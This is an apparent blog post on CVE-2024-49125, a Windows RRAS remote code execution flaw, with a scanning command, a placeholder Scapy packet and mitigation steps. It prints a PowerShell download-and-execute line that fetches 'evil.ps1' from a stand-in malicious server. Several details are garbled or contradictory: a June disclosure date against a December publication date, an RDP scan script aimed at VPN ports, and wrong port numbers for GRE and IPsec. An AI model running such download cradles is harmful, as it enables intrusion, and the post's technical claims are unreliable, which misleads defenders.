On June 2024, Microsoft disclosed a serious security vulnerability: CVE-2024-49125, impacting the Routing and Remote Access Service (RRAS) on Windows. This bug allows attackers to execute remote code with high privileges, presenting a significant risk for organizations using RRAS for VPNs, routing, and remote access.

This post will break down what CVE-2024-49125 is, why it matters, and demonstrate how it can be abused—with sample code snippets for educational purposes only. At the end, you’ll find links to trustworthy sources and the official patch details.

What is Windows RRAS?

Routing and Remote Access Service (RRAS) is a core networking feature of Windows Server. It lets organizations:

Offer remote access for users

Because RRAS often runs with SYSTEM privileges and accepts untrusted connections, bugs in this service are especially dangerous.

Type: Remote Code Execution (RCE)

- Affected Product: Windows RRAS (mostly Server editions, but some Pro/Enterprise workstations may be vulnerable if RRAS is manually enabled)

Severity: *Critical* (CVSS 9.8)

In summary, a remote attacker can send a specially crafted packet to RRAS and execute arbitrary code, potentially taking full control of the server.

How Does the Vulnerability Work?

While Microsoft and researchers keep some technical details secret—for good reasons—security professionals have pieced together a broad picture:

1. Attack Surface: The bug exists in the way RRAS processes certain protocol requests (commonly related to L2TP/IPSec or PPTP).
2. Trigger: By sending malformed input, the attacker can trigger a buffer overflow or similar memory corruption vulnerability.
3. Result: Attacker’s code runs with SYSTEM privileges, allowing for installation of malware, lateral movement, data exfiltration, or ransomware deployment.

First, determine which servers have RRAS exposed. This can be done using a simple Nmap scan

nmap -p 1723,1701,47,500,450 --open --script rdp-enum-encryption <targetSubnet>
# These are common ports for PPTP (1723), L2TP (1701), GRE (47), and IPsec (500, 450)

Suppose RRAS is running PPTP. The attacker might use Python and Scapy (pip install scapy)

from scapy.all import *

# Fill in attacker's and victim's IP
src_ip = '1.2.3.4'
dst_ip = '5.6.7.8'

# Send a malformed PPTP Control Message (for illustration)
pkt = IP(src=src_ip, dst=dst_ip)/TCP(sport=40000, dport=1723)/Raw(b'\x00' * 256 + b'MAGIC_EXPLOIT')
send(pkt)

> *Note*: The real exploit would use a custom-crafted packet tailored to overflow the specific vulnerable buffer. Above is just a template for illustration.

Step 3: Achieve Remote Execution

If the server is unpatched, the rogue packet can trigger execution of attacker-controlled code—allowing the attacker to open a reverse shell or drop a malicious payload.

# Example: Attacker launches a reverse shell (run by payload injected via exploit)
iex (New-Object Net.WebClient).DownloadString('http://malicious-server/evil.ps1';)

Mitigation and Patching

Microsoft Patch:
Apply the June 2024 Patch Tuesday update.
Official advisory: Microsoft Security Update Guide: CVE-2024-49125

PowerShell to Check if RRAS is Running

Get-Service -Name RemoteAccess

Disable RRAS

Stop-Service -Name RemoteAccess
Set-Service -Name RemoteAccess -StartupType Disabled

References

- Microsoft Security Advisory CVE-2024-49125
- Microsoft Docs: RRAS Overview
- Rapid7 Analysis on Windows RRAS RCE
- CVSS Details

Conclusion

CVE-2024-49125 is a dangerous RCE vulnerability that could allow attackers to completely take over Windows servers running RRAS. Anyone with RRAS exposed should patch immediately or mitigate by disabling unnecessary services. Attackers are quick to weaponize easy RCEs—don’t let your network be next.

For further reading and official patches, see the links above. Stay safe!


*This post is for educational and informational purposes only. Do not attempt unauthorized testing on systems you do not own.*

Timeline

Published on: 12/12/2024 02:04:39 UTC
Last modified on: 01/21/2025 19:38:23 UTC